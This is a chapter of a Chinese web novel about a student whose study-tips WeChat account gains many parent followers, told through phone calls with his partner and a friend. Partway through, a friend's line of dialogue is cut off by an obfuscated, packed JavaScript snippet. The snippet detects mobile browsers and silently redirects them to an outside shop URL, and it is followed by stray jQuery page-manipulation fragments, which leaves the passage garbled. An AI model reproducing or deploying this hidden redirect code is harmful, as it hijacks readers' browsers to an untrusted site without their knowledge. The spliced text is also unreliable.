八月六号，星期六。
宋星燃没设闹钟。
睁眼的时候，窗帘缝里漏进来的阳光已经在床尾铺成一条亮线。蝉叫得很凶——那种八月份特有的、不知疲倦的嘶鸣，像有人在窗外拉着生了锈的二胡。
他伸手去摸床头柜上的手机，按亮屏幕。
十点零七分。
宋星燃盯着那个数字看了两秒，把手机放回去了。
房间闷得厉害。电风扇停着——多半是半夜跳了闸，他懒得起来推。背上贴着凉席的地方已经湿了一片。他翻了个身，后脑勺靠在枕头边缘，闭眼又睁开。
昨天写了一天。
早上出门去网吧，坐到下午六点，五个分区、五篇文章。回来喝汤洗碗，躺下的时候已经过了十二点。脑子像跑了长途的发动机，关了钥匙还在嗡嗡转。
他躺了一分钟，还是坐起来了。
脚踩在地板上，温的。夏天的水泥地到了中午就会烫脚底板，但上午十点刚好——不凉不热，像隔着一层薄毛巾。
手机响了。
苏晚柠。
他接起来，还没开口，对面先出了声。
「宋星燃！你醒了吗？你知道发生什么事了吗？！」
声音很亮，带点喘，像是从什么地方跑过来的。
宋星燃揉了揉眼睛：「刚醒。怎么了？」
「后台——你昨天到底发了什么？！」
「五篇文章。分了个区。」
「五篇——」苏晚柠停了一秒，像是在消化这个数字，「你先别动，我给你念。」
他听见话筒里传来窸窸窣窣的动静，是手指在屏幕上滑的声音。
「昨天傍晚我睡觉之前看了一眼，」苏晚柠说，「关注数两千一百多。对不对。」
「嗯。」
「你猜现在多少。」
宋星燃想了想：「两千四。」
「不对。」
「两千五。」
「不对。」
「两千——」
「两千八百六十一。」
话筒里安静了半秒。蝉鸣重新涌了进来。
两千八百六十一。
他昨天下午在飞宇网咖四十七号机位上看到的是两千一百七十三。不到二十四个小时，净增六百八十八。
「你在听吗？」苏晚柠问。
「在听。」
「你不激动吗？」
「激动。」宋星燃说。他的语气跟他说"汤还要吗""够了"差不多。
苏晚柠笑了一声，不是嘲笑，是那种——"我就知道你会这样"的笑。
「你去开电脑，」她说，「我把后台留言截了图，太多了，念不过来。你得自己看。」
宋星燃走到书桌前面坐下。旧联想电脑开机花了四十几秒——CPU风扇嗡嗡地转了三四圈才停。他打开公众号后台，点了"消息管理"。
列表滑了四屏还不见底。
「多少条？」苏晚柠问。
宋星燃没说话。他一条一条往下翻。
第一条：
「我是小旭妈妈。昨晚试了三步法，孩子自己列出来了！我家孩子应用题一直不行，暑假补课都没用，你这一篇比补课管用。谢谢你。」
第二条：
「你好，我是一位初中生的父亲。函数那篇我今天早上在家长群里分享了，群里的家长都在转。你能不能多写几篇数学的？函数和几何都行。」
第三条：
「干货满满。转我们班家长群了，好几个妈妈都说有用。」
第四条：
「博主您好，我是小学老师。您写的'检查作业不是检查对错，是检查孩子卡在哪一步'——这句话我今天上午就在班里用了。效果很好。谢谢。」
第五条：
「我家孩子初二，数学期中57分。看了你的几何图解那篇，他说看懂了。我差点掉眼泪。」
宋星燃的鼠标停在第五条上。
「你看到哪条了？」苏晚柠问。
他念给她听。
苏晚柠沉默了两秒。然后她说：「还有更多。你翻。」
后面的留言越来越长。有的家长写了三四百字——不是感谢，是倾诉。有人说自己文化水平有限，辅导不了孩子；有人说暑假花了一千多块报了培训班，孩子还是听不懂；有人把自家孩子的错题本拍了照发上来，问能不能帮忙分析。
宋星燃一条都没删。
「后台关注来源，」苏晚柠说，「你点开看。」
他点了。饼图里最大的一块是"会话分享"——占比百分之六十三。
分享率，百分之七。
「高中内容的时候，」宋星燃说，「分享率是百分之三。」
「你算过？」
「上次看后台时候顺便算的。」
「所以昨天你发的——」
「家长视角。」他说。「学生看到一个好方法，会自己收藏。家长看到，会转发到家长群。」
苏晚柠那边安静了一瞬。不是没话说，是在想。
「所以你昨天说的'分区'，」她慢慢说，「不只是把文章按年级分类——」
「是把'谁在看'和'谁在转'分开。」
他没再解释。这两个人都够聪明，不需要掰开了揉碎了讲。
宋星燃把留言按日期排序，从早到晚翻了一遍。
早上六点四十二分，「小旭妈妈」第一个留言。然后是七点零八分、七点十五分、七点三十一分——家长们的起床时间。他们不像学生周末睡到九十点，他们有孩子要管，要早起做饭，在等水烧开的那几分钟里刷手机。
「你昨天晚上几点睡的？」苏晚柠问。
「十二点多。」
「那你不知道——我早上七点半起来看后台，消息列表已经刷了三屏了。我还以为出什么bug了。」她顿了顿，「然后我数了一下粉丝数。又数了一遍，怕自己看花眼。」
「数了几遍？」
「三遍。」
宋星燃靠在椅背上。电脑屏幕的光映在他脸上，留言列表还在往下翻。
「星燃。」苏晚柠叫了他的名字。
「嗯。」
「五篇。分区。家长视角——」她的语速慢下来，「你昨天怎么不叫我？」
宋星燃靠在椅背上。电脑屏幕的光映在他脸上。
「想到就写了，」他说，「没来得及。」
「没来得及？」苏晚柠重复了一遍，声音不高，但也没有笑，「我是你公众号的合伙人。你做了一个全新的分区——面向家长——从头到尾没跟我说一个字。这叫没来得及？」
宋星燃没接话。
话筒里传来苏晚柠翻身的动静——她大概也在床上，或者沙发上，把手机换了一边耳朵。
「我不怕你一个人能干，」她说，「我怕你干完了我才知道。这样我觉得自己没用。」
宋星燃按在鼠标上的手指停了一下。
他说：「下次跟你商量。」
「说好了？」
「说好了。」
苏晚柠把话头一转：「五篇都是什么？」
「小学三篇，初中两篇。小学数学应用题列式子、怎么检查孩子作业、孩子说'我不会'的时候怎么办。初中是物理套公式的思维、函数图像怎么想。」
苏晚柠停了两秒。
「你一个人写了这些。」
「嗯。」
「难怪留言里那么多家长——你写的跟他们平时看到的不一样。」
宋星燃把注意力转回后台。关注数还在涨。他刷新了一次——两千八百七十三。又刷——两千八百八十。
「家长群在上班时间传得快，」他说，「学生放假了，家长不放。十点到十一点、下午两三点，是转发高峰。」
「你怎么知道？」
「猜的。」
不是猜的。上一世他在写字楼上班的时候，中午饭后最安静的那半小时，所有人都在工位上刷手机。家长群的转发高峰从来不在晚上——晚上要辅导作业，没空。
但他不能说。
苏晚柠又问：「这些留言你打算怎么回？」
「不每条都回。挑几条有价值的，在下一期推送里统一回复。」
「哪些算有价值？」
「问方法的——比如那个初中生的父亲说'能不能多写几篇数学'。倾诉的不用每条都回复，但可以摘几句放在推送开头，让读者知道有人在看。」
苏晚柠说：「我帮你回。」
「你不用——」
「我说了我帮你回。」她的语气比刚才硬了一点，又软下来，「你昨天写了五篇，今天总得歇一歇。回复留言我来。你把标准告诉我，我按标准回。」
宋星燃想了想：「行。标准很简单：问方法的给方法、纯感谢的不回。」
「纯感谢的不回？人家专门留言感谢——」
「感谢是好的，」宋星燃说，「但感谢不产生新内容。后台回复一条感谢要几十秒，回一百条就是半个小时。这半个小时可以写半篇文章。」
苏晚柠沉默了两秒。
「你有时候真的……算了，你说得对。」
「那你觉得不对？」
「我觉得——对是对的，但说出来有点冷。」
宋星燃没反驳。
他本来就不是热的。上一世在这栋写字楼里坐了七年，学会了把一切拆成成本和收益。他知道这样不好，但改不了。或者说，没打算改。
「那我换个标准，」他说，「纯感谢的，你挑三条回——挑名字眼熟的。」
「行。」
「问方法的，」宋星燃说，「你看看有没有共性。如果有超过三个人问同一个问题，那就是下一篇文章的选题。」
「我整理好发给你？」
「嗯。」
苏晚柠应了一声，然后像是随口问的：「那你想过没有——我们到底能做到多大？」
宋星燃看了一眼电脑屏幕上的关注数——两千九百零四。
「毕业之前，到一万。」
话筒里静了。
然后是苏晚柠深吸一口气的声音，像是要把这句话整个咽下去。
「一万。」她重复了一遍，「你知道现在多少吗？」
「两千九。」
「还有七千一百——不，跟你说话的时候又涨了四个——还有七千零九十六。」
「嗯。」
「我们还有不到一年就高三毕业了。」
「嗯。」
「一年涨七千——一个月要涨将近六百——」
「嗯。」
「宋星燃你能不能多说一个字。」
「能。」
苏晚柠在那边气得笑出了声。
「你这个人真的很欠揍。」
「我知道。」
苏晚柠不说话了。他听见她在那边翻来翻去——大概是在看后台数据，或者记笔记。铅笔划过纸面的声音又响了几下，这次比较长，像是在列什么东西。
然后她说：「星燃，我们把这个号做到一万。」
不是问句。
宋星燃没接话。
「你听到没——」
「听到了。」他说，「但你别用这种语气。」
「什么语气？」
「跟开誓师大会似的。」宋星燃靠在椅背上，「学习类公众号做到一万粉，在这个年头没什么难的。家长对教育内容的转发率天然就高，我们做的又不是抄来抄去的鸡汤——内容过硬，涨粉是迟早的事。」
苏晚柠那边顿了一下：「那你还答应那么快。」
「答应是因为时间够用，不是因为这件事多难。」他说，「我们只剩不到一年。一年里内容不掉链子，一万自然就到了。」
话筒里静了两秒。
然后苏晚柠说：「那万一内容掉链子呢？」
「那就掉链子，」宋星燃说，「又不是高考。」
苏晚柠笑了。不是被逗到的那种——是松了口气。
「行。」她说，「不是誓师大会。」
「嗯。」
他挂了电话。
电脑屏幕上，留言列表还在跳动。十点以后的速度比早上还快——家长们在上班间隙转发，午休前是第二波高峰。
宋星燃站起来，走到窗前把窗帘拉开。八月的天空干净得像刚洗过的蓝布，没有云。街上已经有人在走了——骑电动车的，拎菜篮子的，推婴儿车的。
他看着这条街，心里在想另一件事。
一万粉不是终点。到了以后呢？公众号变现的路无非那么几条——接广告、开流量主、卖课。流量主门槛不高，但单价低得可怜，一万粉一天点下来也就几十块钱。卖课需要口碑积累，不是一年能跑通的。广告是最直接的路，但接什么广告、什么价格、多久接一条——这些东西现在想太早，但不能不想。
先把内容做到一万粉的本钱。剩下的，到时候再说。
他拉上窗帘，坐回电脑前。
中午十二点零三分。
宋星燃蹲在家里客厅的茶几前面吃泡面。红烧牛肉味的，水倒多了，汤有点淡。他想去厨房拿酱油，电话又响了。
这次不是苏晚柠。
是赵磊。
「星哥，」赵磊的声音压得很低，像是怕被谁听见，「你公众号改风格了？」
「你怎么知道？」
「我二姨。」赵磊顿了一下，「我二姨在家长群里，今天上午转了你写的那篇文章——就是初中物理那个——她说写得特别好，问
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17626870|206277||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
是不是哪个重点高中的老师写的。」
宋星燃用筷子搅了搅泡面：「然后呢。」
「然后我说是宋星燃写的。我一哥们儿——你知道我二姨怎么说吗——」
「怎么说。」
「她说'这孩子以后能当老师'。」
赵磊顿了顿。
「我说'星哥要当老师，我第一个去报名'。」
宋星燃吃了一口面。
「你物理上了六十，」他说，「不用报名。已经算我的学生了。」
赵磊在电话那头安静了一秒。然后嘿嘿笑了一声，跟正月十四那天说"我自己说的"一模一样。
「星哥，我暑假做完了三套物理卷子。」
「分数。」
「六十二。六十七。六十五。」
「暑假结束之前能做到七十吗。」
「能。」
「那我等你。」
赵磊又笑了。然后他突然压低声音：「对了星哥——我二姨那个家长群，有三百多个人。她转了你那篇以后，群里好多家长都关注了。」
宋星燃把泡面咽下去。
「你二姨叫什么？」
「王秀兰。」
「回头跟你二姨说，谢谢。」
「不用，」赵磊说，「她自己挺高兴的。她说终于有篇文章能让她看懂了。以前网上那些学习方法的文章，全是'你家孩子就是懒'那一套，看完了更焦虑。你的不一样。你说'孩子卡在哪一步'，不说'你孩子不努力'。」
宋星燃没接话。
他想起上辈子在写字楼里，同事的孩子考试不及格，同事急得在工位上哭。旁边的人没一句能帮上忙的，只会说"多报几个补习班""你管得太松了"。没有人问她——孩子到底卡在哪一步。
「星哥？」
「在。」
「你下午还写公众号吗？我过去陪你——」
「不用。家里能弄。」
「行。那你有事喊我。」
「嗯。」
挂了电话，泡面已经坨了一半。宋星燃把碗端起来，喝了一口汤。汤凉了，味精味有点重。
他把碗放下，打开电脑。
后台关注数：两千九百三十七。
苏晚柠的回复已经开始发了。他滑了滑——每一条都按他说的标准：问方法的认真回复、纯感谢的挑了三条，回的都是固定语气——不热情，但体面。
他给苏晚柠发了一条微信：「回复看到了。挺好。」
苏晚柠秒回：「那当然。」
隔了一分钟，她又发了一条：「刚才那个小学老师又留言了，问你有没有公众号以外的平台。我说暂时没有。她说希望以后有，她的班级公众号想长期追。」
宋星燃想了想：「等关注过万再说。现在分心不值。」
「嗯。」
对话停了两分钟。宋星燃正准备关掉微信去写明天的选题，苏晚柠又发了。
「星燃。」
「嗯。」
「你说要在毕业前做到一万。」
「嗯。」
「我刚才算了一下。以后每个月出差了六百个，一年七千二。今天的增长是因为你一下子发了五篇，以后不可能每天都涨这么多。所以这个目标很难。」
「我知道。」
「那你还做？」
「做。」
「万一做不——」
「做了才知道。」
苏晚柠没再回了。
宋星燃关掉微信，打开电脑上的文件夹。
七月在图书馆囤的稿子，二十二篇，全是高中内容。他跟苏晚柠分了工——她写语文类的，他写理科类的，互相校对过。本来打算囤到高三开学再发，但昨天的分区策略把节奏提前了。
现在的问题是：小学和初中的稿子不在库存里。
昨天在网吧写的五篇——小学三篇、初中两篇——是现写的。家长侧的分区昨天才开，七月份的囤稿计划里根本没考虑到这一块。也就是说，如果要维持小学初中的更新频率，他接下来需要现写——不像高中，高中还有二十二篇存货能撑一段时间。
他点开文件夹，翻了翻。挑了两篇高中——《化学平衡常数的图像题，关键就看斜率》和《英语完形填空，第一句话是地图》。前者是他写的，后者是苏晚柠的。两篇都校对过，可以直接发。
高中存货先顶着，小学初中的稿子得尽快补上。
他打开公众号后台，把化学那篇粘贴进去。排版——标题加粗、段落之间空一行、关键步骤用破折号缩进。后台排版功能简陋，但够用。
检查了一遍，点击发送。
然后第二篇，苏晚柠的完形填空。他多看了两遍——结尾她写了一句："做完形填空不是找答案，是搞清楚这一段到底在说什么。"他想了想，没改。
发送。
两篇发完，他刷新后台。关注数——两千九百五十八。
数据面板上，增长曲线从他昨天发那五篇开始陡升，到今天还没平。不知道什么时候会平。
小学初中那条线是他昨天现开出来的。二十二篇高中囤稿是底牌——但昨天的五篇家长侧内容带来的六百八十八个新关注，才是这一波增长的真金白银。这条线不能断。
他靠在椅背上，打开一个空白文档。
小学下一期写什么？应用题审题讲过了——那就讲计算粗心。不是"认真一点"，是教家长怎么帮孩子找计算步骤里具体哪一步总是错。
他打了标题：「孩子计算总粗心？不是马虎，是跳步」。
然后开始写。
写过的东西再写一遍，比昨天快。三步法——先在草稿纸上把计算步骤列出来、然后圈出错的那一步、最后问孩子"这一步为什么这么做"——讲清楚逻辑，举两个例子，收尾。写完一看字数：八百二十。
他又读了一遍。不改。
打开后台，粘贴，排版，发送。第三篇。关注数——两千九百七十一。
初中那边今天也得有一篇。初中物理的套公式昨天讲过了，今天换个方向——电路的串联并联，家长最怕的这个。他想了想标题：「串联并联分不清？先找电流有几条路」。
写了五百多字的时候，胳膊肘下面那片桌面已经被汗洇湿了一块。他换了个姿势，写完剩下的三百字。发送。
四篇发完——两篇高中囤稿，两篇现写的小学和初中。今天收工。
高中囤稿还有二十篇，够发一阵。小学初中没有库存，需要从现在开始每天写一点，攒到开学。开学以后时间被课堂和作业切成碎片，能写稿的整块时间就剩周末。暑假剩下的这二十来天，能多写一篇是一篇。
他把电脑合上一半。窗外蝉叫得正凶，阳光把窗帘染成一片金黄色。